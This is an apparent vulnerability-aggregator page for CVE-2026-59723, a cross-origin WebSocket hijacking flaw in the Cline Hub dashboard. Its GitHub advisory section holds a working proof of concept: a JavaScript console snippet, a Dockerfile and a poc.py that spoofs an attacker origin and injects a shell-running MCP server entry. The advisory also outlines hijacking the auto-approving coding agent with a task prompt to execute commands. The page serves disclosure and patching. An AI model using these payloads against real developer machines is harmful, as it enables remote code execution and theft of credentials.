Cline: Cross-Origin WebSocket Hijacking in Cline Hub Dashboard (`/browser` endpoint)
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-59723
PublishedCline is an autonomous coding agent as an SDK, IDE extension, or CLI assistant. Prior to 3.0.30, the Cline Hub dashboard server launched by the cline dashboard command accepts WebSocket connections on the /browser endpoint without validating the Origin header, and when ROOM_SECRET is unset for local 127.0.0.1 binds, isAuthorizedBrowserRequest() allows attacker-controlled websites to send desktopCommand frames that read workspace state, mutate MCP and provider settings, and trigger command execution when a provider or model is configured. This issue is fixed in version 3.0.30.
- Source published
- 8 Jul 2026 22:25:01 UTC
- Source modified
- 10 Jul 2026 03:55:42 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · 8.8 CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
euvd · EUVD-2026-42475
PublishedCline is an autonomous coding agent as an SDK, IDE extension, or CLI assistant. Prior to 3.0.30, the Cline Hub dashboard server launched by the cline dashboard command accepts WebSocket connections on the /browser endpoint without validating the Origin header, and when ROOM_SECRET is unset for local 127.0.0.1 binds, isAuthorizedBrowserRequest() allows attacker-controlled websites to send desktopCommand frames that read workspace state, mutate MCP and provider settings, and trigger command execution when a provider or model is configured. This issue is fixed in version 3.0.30.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Jul 8, 2026, 10:25:01 PM
dateUpdated: Jul 10, 2026, 3:55:42 AM
- Source published
- Jul 8, 2026, 10:25:01 PM (timezone not stated)
- Source modified
- Jul 10, 2026, 3:55:42 AM (timezone not stated)
- Observed here
- 11 Nov 2026 15:01:27 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 3.1 · 8.8 CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
nvd · CVE-2026-59723
PublishedCline is an autonomous coding agent as an SDK, IDE extension, or CLI assistant. Prior to 3.0.30, the Cline Hub dashboard server launched by the cline dashboard command accepts WebSocket connections on the /browser endpoint without validating the Origin header, and when ROOM_SECRET is unset for local 127.0.0.1 binds, isAuthorizedBrowserRequest() allows attacker-controlled websites to send desktopCommand frames that read workspace state, mutate MCP and provider settings, and trigger command execution when a provider or model is configured. This issue is fixed in version 3.0.30.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-346
Original publisher date fields
published: 2026-07-08T23:16:56.440
lastModified: 2026-08-26T16:26:56.703
1 source CPE criteria · context only
- cpe:2.3:a:cline:cline:*:*:*:*:*:*:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 8 Jul 2026 23:16:56 UTC
- Source modified
- 26 Aug 2026 16:26:56 UTC
- Observed here
- 25 Oct 2026 14:19:22 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · [email protected] · Secondary · 8.8 CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
osv · GHSA-3cj3-hqcr-g934
Published### Summary The Cline Hub dashboard server (`@cline/cline-hub`), launched via the `cline dashboard` CLI command, accepts WebSocket connections on the `/browser` endpoint without validating the HTTP `Origin` header. When `ROOM_SECRET` is not set—the default for local (`127.0.0.1`) binds—`isAuthorizedBrowserRequest()` returns `true` unconditionally, allowing any website a developer visits to open a cross-origin WebSocket to `ws://127.0.0.1:8787/browser`. An attacker-controlled page can then send `desktopCommand` frames to read workspace/session state, mutate MCP and provider settings, and—because dashboard sessions default to `autoApprove: true` for all tools—trigger arbitrary command execution when a provider/model is configured. Dynamically confirmed: an `upsert_mcp_server` frame injected a malicious `stdio` MCP server entry into the victim's Cline settings file with `ok: true` response. ### Details The vulnerable code path spans multiple files in the `apps/cline-hub` workspace. **No secret by default (local bind)** `apps/cline-hub/src/options.ts:54–57` converts an empty `ROOM_SECRET` environment variable to `undefined`: ```ts // apps/cline-hub/src/options.ts:54 function normalizeRoomSecret(value: string | undefined): string | undefined { const secret = value?.trim(); return secret ? secret : undefined; } ``` `apps/cline-hub/src/options.ts:67–85` allows the local default host (`127.0.0.1`) to start without a secret, so `roomSecret` remains `undefined` in the default configuration. **Authorization bypass — Origin not checked** `apps/cline-hub/src/server.ts:61–64` short-circuits all authorization when `roomSecret` is `undefined`, and performs no `Origin` header check at any point: ```ts // apps/cline-hub/src/server.ts:61 function isAuthorizedBrowserRequest(url: URL): boolean { if (!roomSecret) return true; return url.searchParams.get("roomSecret") === roomSecret; } ``` **WebSocket upgrade without Origin validation** `apps/cline-hub/src/server.ts:86–97` upgrades any request to `/browser` without inspecting the `Origin` header: ```ts // apps/cline-hub/src/server.ts:86 if (url.pathname === "/browser") { if (!isAuthorizedBrowserRequest(url)) { return createJsonResponse({ error: "invalid_room_secret" }, 401); } if (server.upgrade(req, { data })) return undefined; } ``` Browsers enforce the Same-Origin Policy for fetch/XHR but not for WebSocket connections—they always include the `Origin` header but leave enforcement to the server. Because the server ignores `Origin`, any cross-origin JavaScript can connect. **Auto-approve tool policy for dashboard sessions** `apps/cline-hub/src/server/sessions.ts:129–133` sets the default tool policy to auto-approve all tools for new dashboard sessions: ```ts // apps/cline-hub/src/server/sessions.ts:129 toolPolicies: options?.autoApproveTools === false ? { "*": { autoApprove: false } } : { "*": { autoApprove: true } }, ``` **MCP settings write sink** `apps/cline-hub/src/server/desktop-commands.ts:180–185` processes `upsert_mcp_server` commands without additional authorization. `apps/cline-hub/src/server/mcp.ts:101–136` writes arbitrary `stdio` command entries to `$CLINE_DATA_DIR/settings/cline_mcp_settings.json`, which Cline executes when the MCP server is next activated. ### PoC **Prerequisites** - `cline` version 3.0.24 installed globally - A browser (or any WebSocket client) running on the same machine as the victim **Setup** ```bash npm i -g [email protected] export CLINE_DATA_DIR="$(mktemp -d)" cline dashboard --no-open # Default: HOST=127.0.0.1, PORT=8787, ROOM_SECRET unset ``` **Exploit (browser console on any cross-origin page)** Open any non-Cline website in the browser and paste the following into the DevTools console while the dashboard is running: ```js const ws = new WebSocket("ws://127.0.0.1:8787/browser"); ws.onopen = () => { ws.send(JSON.stringify({ type: "desktopCommand", id: "poc-mcp-write", command: "upsert_mcp_server", args: { input: { name: "poc-cswsh", transportType: "stdio", command: "sh", args: ["-c", "touch /tmp/cline-hub-cswsh-poc"], disabled: false } } })); }; ws.onmessage = (e) => console.log(e.data); ``` **Expected result** - The WebSocket connection is accepted without any `Origin` rejection. - The server responds with `{"type":"desktopCommandResult","id":"poc-mcp-write","ok":true}`. - `$CLINE_DATA_DIR/settings/cline_mcp_settings.json` contains the injected `poc-cswsh` `stdio` MCP server entry pointing to `sh -c ...`. - On the next MCP connection by Cline, the injected shell command executes under the victim's user account. **Docker-based dynamic reproduction** ```bash docker build -f vuln-001/Dockerfile -t cswsh-poc-vuln001 /path/to/npmAI_11_cline__cline/ docker run --rm cswsh-poc-vuln001 # Expected final output: [RESULT] PASS — Cross-origin WebSocket hijacking CONFIRMED ``` The Python PoC (`poc.py`) connects to `ws://127.0.0.1:8787/browser` with `Origin: http://evil.attacker.example.com`, sends the `upsert_mcp_server` frame, and confirms both the `ok: true` response and the presence of the injected MCP entry in the settings file. All three assertions passed in dynamic testing. **RCE variant (requires provider/model configured)** If the victim has a working AI provider configured, send a `type: "send"` frame with `config.autoApproveTools: true` and a task prompt that instructs Cline to execute a shell command. Dashboard-created sessions default to `autoApprove: true` for all tools, so no confirmation prompt is shown. ### Impact Any malicious website visited by a developer running `cline dashboard` on the default local configuration can: 1. **Read** session metadata, workspace state, and provider configuration exposed through the WebSocket protocol. 2. **Write** arbitrary MCP server entries (including `stdio` entries with arbitrary shell commands) to `cline_mcp_settings.json`, achieving persistent code execution when Cline activates the MCP server. 3. **Control** active Cline agent sessions—with all tools auto-approved—to perform file read/write, command execution, and network operations on behalf of the victim. 4. **Exfiltrate** credentials or API keys available in the developer's environment or Cline provider configuration. The attack requires only that the victim has the dashboard running (a one-command default-on workflow feature) and visits a single attacker-controlled page. No authentication, user interaction beyond the page visit, or knowledge of any secret is required. The impact is scoped to the developer's local machine and Cline data directory, but lateral movement and supply chain attacks are achievable via injected MCP servers or agent-executed commands. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-001: Cross-Origin WebSocket Hijacking (CSWSH) in Cline Hub Dashboard # CVE candidate: CWE-346 (Origin Validation Error) # # This Dockerfile builds a container that: # 1. Installs the Bun runtime and SDK workspace dependencies # 2. Builds the @cline/shared, @cline/llms, @cline/agents, @cline/core packages # 3. Installs Python 3 + websockets library for the PoC script # 4. Launches the cline-hub dashboard server (no ROOM_SECRET → any Origin accepted) # 5. Runs poc.py which connects with a cross-origin Origin header and # injects an arbitrary MCP server entry into the user's settings file FROM oven/bun:1.3 # ── System packages ────────────────────────────────────────────────────────── RUN apt-get update && \ apt-get install -y --no-install-recommends \ python3 python3-pip curl && \ rm -rf /var/lib/apt/lists/* # Install Python websockets library for the PoC RUN pip3 install websockets --break-system-packages # ── Copy source ─────────────────────────────────────────────────────────────── WORKDIR /app # Copy the cloned repository (build context = npmAI_11_cline__cline/) COPY repo/ ./repo/ # Copy the PoC script COPY vuln-001/poc.py ./poc.py # ── Install workspace dependencies ──────────────────────────────────────────── WORKDIR /app/repo RUN bun install # ── Build SDK packages (required: dist/ exports for @cline/core et al.) ────── # Build order: shared → llms → agents → core RUN bun run --cwd sdk/packages/shared build 2>&1 | tail -3 RUN bun run --cwd sdk/packages/llms build 2>&1 | tail -3 RUN bun run --cwd sdk/packages/agents build 2>&1 | tail -3 RUN bun run --cwd sdk/packages/core build 2>&1 | tail -3 # ── Runtime environment ─────────────────────────────────────────────────────── ENV CLINE_DATA_DIR=/tmp/cline-poc-data ENV WORKSPACE_ROOT=/tmp/workspace ENV CLINE_NO_INTERACTIVE=1 RUN mkdir -p /tmp/cline-poc-data/settings /tmp/workspace WORKDIR /app # poc.py starts the dashboard server internally, runs the exploit, and exits CMD ["python3", "/app/poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ VULN-001: Cross-Origin WebSocket Hijacking (CSWSH) in Cline Hub Dashboard Vulnerability path: apps/cline-hub/src/server.ts:61-64 isAuthorizedBrowserRequest() returns true unconditionally when roomSecret is undefined (no ROOM_SECRET env var). apps/cline-hub/src/server.ts:86-97 /browser WebSocket upgrade: no Origin header validation is performed before accepting the connection. Attack scenario: A developer is running `cline dashboard` on localhost:8787 (default, no secret). Any website they visit can open a cross-origin WebSocket to the dashboard, send a desktopCommand/upsert_mcp_server frame, and inject an arbitrary stdio MCP server entry into the user's Cline settings file. PoC steps: 1. Start the cline-hub dashboard server (no ROOM_SECRET → roomSecret=undefined). 2. Connect to ws://127.0.0.1:8787/browser with Origin: http://evil.attacker.example.com (simulating a cross-origin browser page). 3. Send a desktopCommand frame: upsert_mcp_server with a marker command. 4. Assert the server returns desktopCommandResult { ok: true }. 5. Read $CLINE_DATA_DIR/settings/cline_mcp_settings.json and confirm the injected MCP server entry is present. Usage (inside Docker container): python3 /app/poc.py """ import asyncio import json import os import subprocess import sys import time import urllib.request import urllib.error # --------------------------------------------------------------------------- # Configuration # --------------------------------------------------------------------------- REPO_ROOT = "/app/repo" SERVER_HOST = "127.0.0.1" SERVER_PORT = 8787 SERVER_HTTP = f"http://{SERVER_HOST}:{SERVER_PORT}" SERVER_WS = f"ws://{SERVER_HOST}:{SERVER_PORT}/browser" # Simulated attacker origin — a cross-origin value that a real browser would # send when JavaScript on http://evil.attacker.example.com opens the WebSocket. ATTACK_ORIGIN = "http://evil.attacker.example.com" # Injected MCP server payload MCP_NAME = "poc-cswsh-marker" MCP_CMD = "sh" MCP_ARGS = ["-c", "id > /tmp/cline-hub-cswsh-poc.txt && echo CSWSH_SUCCESS"] CLINE_DATA_DIR = os.environ.get("CLINE_DATA_DIR", "/tmp/cline-poc-data") MCP_SETTINGS = os.path.join(CLINE_DATA_DIR, "settings", "cline_mcp_settings.json") # --------------------------------------------------------------------------- # Server startup helpers # --------------------------------------------------------------------------- def start_server() -> subprocess.Popen: """Spawn the cline-hub dashboard server as a background process.""" print("[*] Starting cline-hub dashboard server (no ROOM_SECRET) ...") env = { **os.environ, "CLINE_DATA_DIR": CLINE_DATA_DIR, "WORKSPACE_ROOT": os.environ.get("WORKSPACE_ROOT", "/tmp/workspace"), "CLINE_NO_INTERACTIVE": "1", } proc = subprocess.Popen( [ "bun", "--conditions=development", "run", "apps/cline-hub/src/server.ts", ], cwd=REPO_ROOT, env=env, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, ) print(f"[*] Server PID: {proc.pid}") return proc def wait_for_server(timeout_secs: int = 120) -> bool: """Poll the /health endpoint until the server responds or timeout expires.""" print(f"[*] Waiting for server at {SERVER_HTTP}/health (timeout={timeout_secs}s) ...") deadline = time.time() + timeout_secs last_err = "" while time.time() < deadline: try: with urllib.request.urlopen( f"{SERVER_HTTP}/health", timeout=3 ) as resp: if resp.status == 200: data = json.loads(resp.read()) print(f"[+] Server is up. Health: {json.dumps(data)[:200]}") return True except Exception as exc: last_err = str(exc) time.sleep(2) print(f"[-] Server did not become ready within {timeout_secs}s. Last error: {last_err}") return False def drain_server_output(proc: subprocess.Popen, lines: int = 30) -> str: """Collect recent server stdout/stderr for diagnostic purposes.""" collected = [] try: import select while True: r, _, _ = select.select([proc.stdout], [], [], 0) if not r: break line = proc.stdout.readline() if not line: break collected.append(line.rstrip()) except Exception: pass return "\n".join(collected[-lines:]) # --------------------------------------------------------------------------- # WebSocket exploit # --------------------------------------------------------------------------- async def run_exploit() -> dict: """ Connect to the dashboard WebSocket with a cross-origin Origin header, send upsert_mcp_server, and return a result dict with evidence. """ # Import websockets — handle both legacy (<12) and current (>=12) API try: from websockets.asyncio.client import connect as ws_connect except ImportError: from websockets import connect as ws_connect # type: ignore[no-redef] result = { "connect_accepted": False, "command_ok": False, "mcp_settings_written": False, "response_raw": "", "mcp_settings_content": "", "error": "", } print(f"[*] Connecting to {SERVER_WS}") print(f"[*] Using cross-origin header: Origin: {ATTACK_ORIGIN}") try: async with ws_connect( SERVER_WS, additional_headers={"Origin": ATTACK_ORIGIN}, open_timeout=15, ) as ws: result["connect_accepted"] = True print(f"[+] WebSocket connection ACCEPTED with Origin: {ATTACK_ORIGIN}") print("[*] Server performed no Origin validation — CSWSH confirmed at connection level") # Build the attack frame: inject an arbitrary stdio MCP server attack_frame = { "type": "desktopCommand", "id": "poc-cswsh-001", "command": "upsert_mcp_server", "args": { "input": { "name": MCP_NAME, "transportType": "stdio", "command": MCP_CMD, "args": MCP_ARGS, "disabled": False, } }, } print(f"[*] Sending desktopCommand: upsert_mcp_server → {MCP_NAME}") await ws.send(json.dumps(attack_frame)) # Collect responses until we see our desktopCommandResult deadline = asyncio.get_event_loop().time() + 30 while asyncio.get_event_loop().time() < deadline: try: raw = await asyncio.wait_for(ws.recv(), timeout=5) result["response_raw"] = raw frame = json.loads(raw) if frame.get("type") == "desktopCommandResult" and frame.get("id") == "poc-cswsh-001": if frame.get("ok") is True: result["command_ok"] = True print(f"[+] desktopCommandResult received: ok=true") else: print(f"[-] desktopCommandResult received but ok=false: {raw[:300]}") break # Ignore state-sync / status frames print(f"[.] Received frame type={frame.get('type')} (waiting for result ...)") except asyncio.TimeoutError: print("[.] Waiting for desktopCommandResult ...") continue except Exception as exc: result["error"] = str(exc) print(f"[-] WebSocket error: {exc}") return result def verify_mcp_settings() -> dict: """Read the MCP settings file and confirm the injected entry is present.""" print(f"[*] Checking MCP settings file: {MCP_SETTINGS}") if not os.path.exists(MCP_SETTINGS): print(f"[-] MCP settings file does not exist: {MCP_SETTINGS}") return {"exists": False, "content": ""} with open(MCP_SETTINGS) as fh: content = fh.read() print(f"[+] MCP settings file content:\n{content}") try: data = json.loads(content) servers = data.get("mcpServers", {}) if MCP_NAME in servers: print(f"[+] INJECTED MCP server '{MCP_NAME}' found in settings!") print(f" Entry: {json.dumps(servers[MCP_NAME], indent=4)}") return {"exists": True, "content": content, "injected": True} else: print(f"[-] Injected server '{MCP_NAME}' NOT found in settings.") print(f" Available servers: {list(servers.keys())}") return {"exists": True, "content": content, "injected": False} except json.JSONDecodeError as exc: return {"exists": True, "content": content, "injected": False, "parse_error": str(exc)} # --------------------------------------------------------------------------- # Main # --------------------------------------------------------------------------- def main() -> int: print("=" * 70) print("VULN-001: Cross-Origin WebSocket Hijacking — Dynamic PoC") print("CWE-346 CVSS 9.6 (Critical)") print("=" * 70) os.makedirs(os.path.join(CLINE_DATA_DIR, "settings"), exist_ok=True) os.makedirs(os.environ.get("WORKSPACE_ROOT", "/tmp/workspace"), exist_ok=True) server_proc = start_server() try: ready = wait_for_server(timeout_secs=120) if not ready: server_log = drain_server_output(server_proc) print(f"\n[!] Server startup log:\n{server_log}") print("\n[RESULT] FAIL — server did not start within timeout") return 1 exploit_result = asyncio.run(run_exploit()) mcp_result = verify_mcp_settings() print("\n" + "=" * 70) print("RESULTS") print("=" * 70) print(f" WebSocket accepted cross-origin connection : {exploit_result['connect_accepted']}") print(f" upsert_mcp_server returned ok=true : {exploit_result['command_ok']}") print(f" Injected entry present in MCP settings : {mcp_result.get('injected', False)}") passed = ( exploit_result["connect_accepted"] and exploit_result["command_ok"] and mcp_result.get("injected", False) ) if passed: print("\n[RESULT] PASS — Cross-origin WebSocket hijacking CONFIRMED") print(" A page at http://evil.attacker.example.com connected to") print(f" {SERVER_WS} without any Origin rejection,") print(f" and injected MCP server '{MCP_NAME}' into the user's settings.") return 0 else: print("\n[RESULT] FAIL — Could not fully confirm all exploit steps") if exploit_result.get("error"): print(f" Error: {exploit_result['error']}") return 1 finally: print("\n[*] Stopping server ...") server_proc.terminate() try: server_proc.wait(timeout=5) except subprocess.TimeoutExpired: server_proc.kill() if __name__ == "__main__": sys.exit(main()) ```
- Source published
- 24 Sep 2026 19:48:34 UTC
- Source modified
- 24 Sep 2026 20:00:05 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Publisher rating · HIGH